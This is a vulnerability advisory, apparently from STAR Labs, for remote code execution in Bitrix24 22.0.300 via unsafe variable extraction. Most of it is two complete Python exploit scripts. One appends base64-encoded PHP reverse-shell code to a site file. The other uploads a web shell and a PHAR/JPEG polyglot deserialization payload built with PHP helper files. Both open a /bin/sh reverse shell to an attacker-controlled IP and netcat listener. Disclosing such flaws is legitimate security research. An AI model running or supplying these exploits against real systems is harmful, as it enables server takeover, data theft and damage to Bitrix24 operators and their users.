Bitrix24 Remote Command Execution (RCE) via Unsafe Variable Extraction
Unsafe variable extraction in bitrix/modules/main/classes/general/user_options.php in Bitrix24 22.0.300 allows remote authenticated attackers to execute arbitrary code via (1) appending arbitrary content to existing PHP files or (2) PHAR deserialization.
https://starlabs.sg/advisories/23/23-1714/
We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the insecure file append vulnerability and opens a reverse shell connection to the victim web server. The reverse shell code, defined in the CODE_TO_INJECT variable, is appended to the file specified in TARGET_FILE.
A sample exploit script is shown below:
# Bitrix24 Insecure File Append RCE (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import base64
import requests
import re
import os
import typing
import subprocess
import threading
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "user"
PASSWORD = "abcdef"
# ROOT_PATH is not necessary, it is possible to use relative paths to exploit
ROOT_PATH = "/var/www/html/"
TARGET_FILE = "include/company_name.php"
LPORT = 9001
LHOST = "192.168.86.43"
PROXY = {"http": "http://localhost:8080"}
CODE_TO_INJECT = f"""
// Restore file for future demos
$file_data = file_get_contents("{ROOT_PATH}{TARGET_FILE}");
$original = mb_substr($file_data, 0, mb_strpos($file_data, '"ID";"Photo"'));
file_put_contents("{ROOT_PATH}{TARGET_FILE}", $original);
/* Sleep to allow nc listener to start */
sleep(2);
$sock=fsockopen($_GET["ip"], intval($_GET["port"]));
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
"""
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def dict_to_str(d):
return "&".join(f"{k}={v}" for k, v in d.items())
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def set_progress_data(session, sessid):
print(f"[+] Setting fake user options")
session.cookies.set("BITRIX_SM_LAST_SETTINGS",
dict_to_str(nested_to_urlencoded(
{
"p": [{
"c": "crm",
"v": {
"filePath": f"{ROOT_PATH}{TARGET_FILE}",
"processToken": "b",
},
"n": "crm_cloud_export_CONTACT"
}],
"sessid": sessid
}
)))
session.get(
HOST + "/bitrix/tools/public_session.php",
headers={"X-Bitrix-Csrf-Token": sessid},
)
def trigger_file_append(session, sessid):
print(f"[+] Appending payload to target file")
session.post(
HOST + "/bitrix/services/main/ajax.php?action=bitrix%3Acrm.api.export.export",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data={
"ENTITY_TYPE": "CONTACT",
"EXPORT_TYPE": "csv",
"COMPONENT_NAME": "bitrix:crm.contact.list",
"PROCESS_TOKEN": "b",
"REQUISITE_MULTILINE": "Y",
"EXPORT_ALL_FIELDS": "Y",
"INITIAL_OPTIONS[REQUISITE_MULTILINE]": "Y",
"INITIAL_OPTIONS[EXPORT_ALL_FIELDS]": "Y"
}
)
def delete_contact(session: requests.Session, sessid, contactId):
print(f"[+] Deleting contact {contactId}")
res = session.post(
HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.prepareDeletion",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data=f"params[gridId]=CRM_CONTACT_LIST_V12¶ms[entityTypeId]=3¶ms[extras][CATEGORY_ID]=0¶ms[entityIds][0]={contactId}",
)
hash = res.json()["data"]["hash"]
session.post(
HOST + "/bitrix/services/main/ajax.php?action=crm.api.entity.processDeletion",
headers={
"Content-Type": "application/x-www-form-urlencoded",
"X-Bitrix-Csrf-Token": sessid
},
data=f"params[hash]={hash}",
)
print(f"[+] Contact {contactId} deleted")
def create_contact(session: requests.Session, sessid):
payload = f"<?php eval(base64_decode('{base64.b64encode(CODE_TO_INJECT.encode()).decode()}')) ?>"
res = session.post(
HOST + "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid=" + sessid,
headers={
"Content-Type": "application/x-www-form-urlencoded",
},
data={
"PARAMS[NAME_TEMPLATE]": "#NAME# #LAST_NAME#",
"PARAMS[CATEGORY_ID]": "0",
"EDITOR_CONFIG_ID": "contact_details",
"HONORIFIC": "",
"LAST_NAME": "",
"NAME": "Definitely not Attacker",
"SECOND_NAME": "",
"BIRTHDATE": "",
"POST": "",
"PHONE[n0][VALUE]": "",
"PHONE[n0][VALUE_TYPE]": "WORK",
"EMAIL[n0][VALUE]": "",
"EMAIL[n0][VALUE_TYPE]": "WORK",
"WEB[n0][VALUE]": "",
"WEB[n0][VALUE_TYPE]": "WORK",
"IM[n0][VALUE]": "",
"IM[n0][VALUE_TYPE]": "FACEBOOK",
"CLIENT_DATA": "{\"COMPANY_DATA\":[]}",
"TYPE_ID": "CLIENT",
"SOURCE_ID": "CALL",
"SOURCE_DESCRIPTION": payload,
"OPENED": "Y",
"EXPORT": "Y",
"ASSIGNED_BY_ID": "3",
"COMMENTS": "",
"contact_0_details_editor_comments_html_editor": "",
"ACTION": "SAVE",
"ACTION_ENTITY_ID": "",
"ACTION_ENTITY_TYPE": "C",
"ENABLE_REQUIRED_USER_FIELD_CHECK": "Y"
}
)
contactId = re.compile("'ENTITY_ID':'([0-9]+)'").findall(res.text)[0]
print(f"[+] Created contact {contactId}")
return int(contactId)
def reverse_shell():
requests.get(f"{HOST}/{TARGET_FILE}?ip={LHOST}&port={LPORT}")
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
contactId = create_contact(s, sessid)
try:
set_progress_data(s, sessid)
trigger_file_append(s, sessid)
finally:
delete_contact(s, sessid, contactId)
threading.Thread(target=reverse_shell).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(LPORT)])
This vulnerability can be exploited when the attacker has access to the CRM feature and permission to create and export contacts. This level of access may be granted if the user is in the management board group.
We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the PHAR deserialization vulnerability and opens a reverse shell connection to the victim web server.
A sample exploit script is shown below:
# Bitrix24 PHAR Deserialization RCE (CVE-2023-XXXXX)
# Via: https://TARGET_HOST/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php
# Author: Lam Jun Rong (STAR Labs SG Pte. Ltd.)
#!/usr/bin/env python3
import random
import json
import requests
import re
import os
import typing
import subprocess
import threading
HOST = "http://localhost:8000"
SITE_ID = "s1"
USERNAME = "crm_only"
PASSWORD = "crm_only"
ROOT_PATH = "/var/www/html/"
PORT = 9001
LHOST = "192.168.86.125"
PROXY = {"http": "http://localhost:8080"}
def nested_to_urlencoded(val: typing.Any, prefix="") -> dict:
out = dict()
if type(val) is dict:
for k, v in val.items():
child = nested_to_urlencoded(v, prefix=(k if prefix == "" else f"[{k}]"))
for key, val in child.items():
out[prefix + key] = val
elif type(val) in [list, tuple]:
for i, item in enumerate(val):
child = nested_to_urlencoded(item, prefix=f"[{i}]")
for key, val in child.items():
out[prefix + key] = val
else:
out[prefix] = val
return out
def dict_to_str(d):
return "&".join(f"{k}={v}" for k, v in d.items())
def check_creds(cookie, sessid):
return requests.get(HOST + "/bitrix/tools/public_session.php", headers={
"X-Bitrix-Csrf-Token": sessid
}, cookies={
"PHPSESSID": cookie,
}, proxies=PROXY).text == "OK"
def login(session, username, password):
if os.path.isfile("./cached-creds.txt"):
cookie, sessid = open("./cached-creds.txt").read().split(":")
if check_creds(cookie, sessid):
session.cookies.set("PHPSESSID", cookie)
print("[+] Using cached credentials")
return sessid
else:
print("[!] Cached credentials are invalid")
session.get(HOST + "/")
resp = session.post(
HOST + "/?login=yes",
data={
"AUTH_FORM": "Y",
"TYPE": "AUTH",
"backurl": "/",
"USER_LOGIN": username,
"USER_PASSWORD": password,
},
)
if session.cookies.get("BITRIX_SM_LOGIN", "") == "":
print(f"[!] Invalid credentials")
exit()
sessid = re.search(re.compile("'bitrix_sessid':'([a-f0-9]{32})'"), resp.text).group(
1
)
print(f"[+] Logged in as {username}")
with open("./cached-creds.txt", "w") as f:
f.write(f"{session.cookies.get('PHPSESSID')}:{sessid}")
return sessid
def upload_web_shell(s, sessid):
data = f"""
<?php
sleep(2);
$sock=fsockopen("{LHOST}", {PORT});
$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);"""
return upload(s, sessid, data)
def upload(session, sessid, data):
CID = random.randint(0, pow(10, 5))
resp = session.post(
HOST + "/desktop_app/file.ajax.php?action=uploadfile",
headers={
"X-Bitrix-Csrf-Token": sessid,
"X-Bitrix-Site-Id": SITE_ID,
},
data={
"bxu_info[mode]": "upload",
"bxu_info[CID]": str(CID),
"bxu_info[filesCount]": "1",
"bxu_info[packageIndex]": f"pIndex{CID}",
"bxu_info[NAME]": f"file{CID}",
"bxu_files[0][name]": f"file{CID}",
},
files={
"bxu_files[0][default]": (
"file",
data,
"text/plain",
)
},
proxies=PROXY,
).json()
return resp["files"][0]["file"]["files"]["default"]["tmp_name"]
def make_phar(path):
os.system("rm ./test.phar")
print(f"[+] Creating PHAR")
os.system(f"php --define phar.readonly=0 create_phar.php {path}")
return open("./test.phar", 'rb').read()
def set_progress_data(session, sessid, path):
print(f"[+] Setting fake user options")
session.cookies.set("BITRIX_SM_LAST_SETTINGS",
dict_to_str(nested_to_urlencoded([{
"c": "crm",
"v": {
"FILE_PATH": f"phar://{path}/a",
"PROCESS_TOKEN": "b",
},
"n": "crm_stexport_contact"
}], "p"
) | {"sessid": sessid}))
session.get(
HOST + "/bitrix/tools/public_session.php",
headers={"X-Bitrix-Csrf-Token": sessid},
)
def get_upload_params(session, sessid):
resp = session.post(
HOST
+ "/bitrix/components/bitrix/crm.contact.details/ajax.php?sessid="
+ sessid,
data={
"FIELD_NAME": "PHOTO",
"ACTION": "RENDER_IMAGE_INPUT",
"ACTION_ENTITY_ID": "0",
},
)
controlUid = re.search(
re.compile("'controlUid':'([a-f0-9]{32})'"), resp.text
).group(1)
controlSign = re.search(
re.compile("'controlSign':'([a-f0-9]{64})'"), resp.text
).group(1)
urlUpload = re.search(re.compile("'urlUpload':'(.*)'"), resp.text).group(1)
user_id = re.search(re.compile("'USER_ID':'([0-9]+)'"), resp.text).group(1)
return controlUid, controlSign, urlUpload, user_id
def upload_file(session, sessid, controlUid, controlSign, urlUpload, user_id, data):
resp = session.post(
HOST + urlUpload,
headers={
"X-Bitrix-Csrf-Token": sessid,
"X-Bitrix-Site-Id": SITE_ID,
},
data={
"bxu_files[file167][name]": "bitrix-out.jpg",
"bxu_files[file167][type]": "image/jpg",
"bxu_files[file167][size]": "10",
"AJAX_POST": "Y",
"USER_ID": user_id,
"sessid": sessid,
"SITE_ID": SITE_ID,
"bxu_info[controlId]": "bitrixUploader",
"bxu_info[CID]": controlUid,
"cid": controlUid,
"moduleId": "crm",
"allowUpload": "I",
"uploadMaxFilesize": "3145728",
"bxu_info[uploadInputName]": "bxu_files",
"bxu_info[version]": "1",
"bxu_info[mode]": "upload",
"bxu_info[filesCount]": "1",
"bxu_info[packageIndex]": "pIndex1",
"mfi_mode": "upload",
"mfi_sign": controlSign,
},
files={
"bxu_files[file167][default]": (
"bitrix-out.jpg",
data,
"image/jpg",
)
},
proxies=PROXY,
)
full_path = list(json.loads(resp.text)["files"].values())[0]["file"]["thumb_src"]
return re.search(
re.compile(
"/upload/resize_cache/crm/([a-f0-9]{3}/[a-z0-9]{32})/90_90_2/bitrix-out\\.jpg"
),
full_path,
).group(1)
def trigger_file_exists(session, sessid):
session.post(
HOST + "/bitrix/components/bitrix/crm.contact.list/stexport.ajax.php?sessid=" + sessid,
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=nested_to_urlencoded({
"SITE_ID": SITE_ID,
"ENTITY_TYPE_NAME": "CONTACT",
"EXPORT_TYPE": "csv",
"PROCESS_TOKEN": "b",
}, "PARAMS") | {"ACTION": "STEXPORT"}
)
if __name__ == "__main__":
s = requests.Session()
s.proxies = PROXY
sessid = login(s, USERNAME, PASSWORD)
webshell_path = upload_web_shell(s, sessid)
ROOT_PATH = webshell_path[:webshell_path.index("upload")]
print(f"[+] Webshell uploaded to '{webshell_path}'")
controlUid, controlSign, urlUpload, user_id = get_upload_params(s, sessid)
data = make_phar(webshell_path)
path = upload_file(s, sessid, controlUid, controlSign, urlUpload, user_id, data)
path = f"{ROOT_PATH}upload/crm/{path}/bitrix-out.jpg"
print(f"[+] PHAR uploaded to '{path}'")
set_progress_data(s, sessid, path)
print(f"[+] Triggering file_exists phar deserialization")
threading.Thread(target=trigger_file_exists, args=(s, sessid)).start()
print("[+] Waiting for reverse shell connection")
subprocess.run(["nc", "-nvlp", str(PORT)])
The following PHP files also need to be present in the same directory:
create_phar.php:
<?php
namespace Bitrix\Bizproc\Activity;
use Bitrix\Bizproc\FieldType;
use Bitrix\Main\ArgumentException;
include("./CCloudsDebug.php");
use CCloudsDebug;
class PropertiesDialog
{
public $activityFile;
public $dialogFileName = 'properties_dialog.php';
public $map;
public $mapCallback;
public $documentType;
public $activityName;
public $workflowTemplate;
public $workflowParameters;
public $workflowVariables;
public $currentValues;
public $formName;
public $siteId;
public $renderer;
public $context;
public $runtimeData = array();
public function __toString()
{
if ($this->renderer !== null)
{
return call_user_func($this->renderer, $this);
}
$runtime = \CBPRuntime::getRuntime();
$runtime->startRuntime();
return (string)$runtime->executeResourceFile(
$this->activityFile,
$this->dialogFileName,
array_merge(array(
'dialog' => $this,
//compatible parameters
'arCurrentValues' => $this->getCurrentValues($this->dialogFileName === 'properties_dialog.php'),
'formName' => $this->getFormName()
), $this->getRuntimeData()
)
);
}
}
$cloudDebug = new CCloudsDebug();
$dialog = new PropertiesDialog();
$dialog->dialogFileName = "stexport.php";
$dialog->runtimeData = ["path" => [$argv[1], ""]];
$cloudDebug->head = $dialog;
function generate_base_phar($o){
global $tempname;
@unlink($tempname);
$phar = new \Phar($tempname);
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->stopBuffering();
$basecontent = file_get_contents($tempname);
@unlink($tempname);
return $basecontent;
}
function generate_polyglot($phar, $jpeg){
$phar = substr($phar, 6); // remove <?php dosent work with prefix
$len = strlen($phar) + 2; // fixed
$new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
$contents = substr($new, 0, 148) . " " . substr($new, 156);
// calc tar checksum
$chksum = 0;
for ($i=0; $i<512; $i++){
$chksum += ord(substr($contents, $i, 1));
}
// embed checksum
$oct = sprintf("%07o", $chksum);
$contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
return $contents;
}
// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('bitrix.jpg');
$outfile = 'test.phar';
$payload = $cloudDebug;
// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload), $jpeg));
CCloudsDebug.php:
<?php
class CCloudsDebug
{
public $head = '';
public $id = '';
}
This vulnerability can be exploited when the attacker has access to the CRM feature and permission to edit contacts. This level of access may be granted if the user is in the management board group.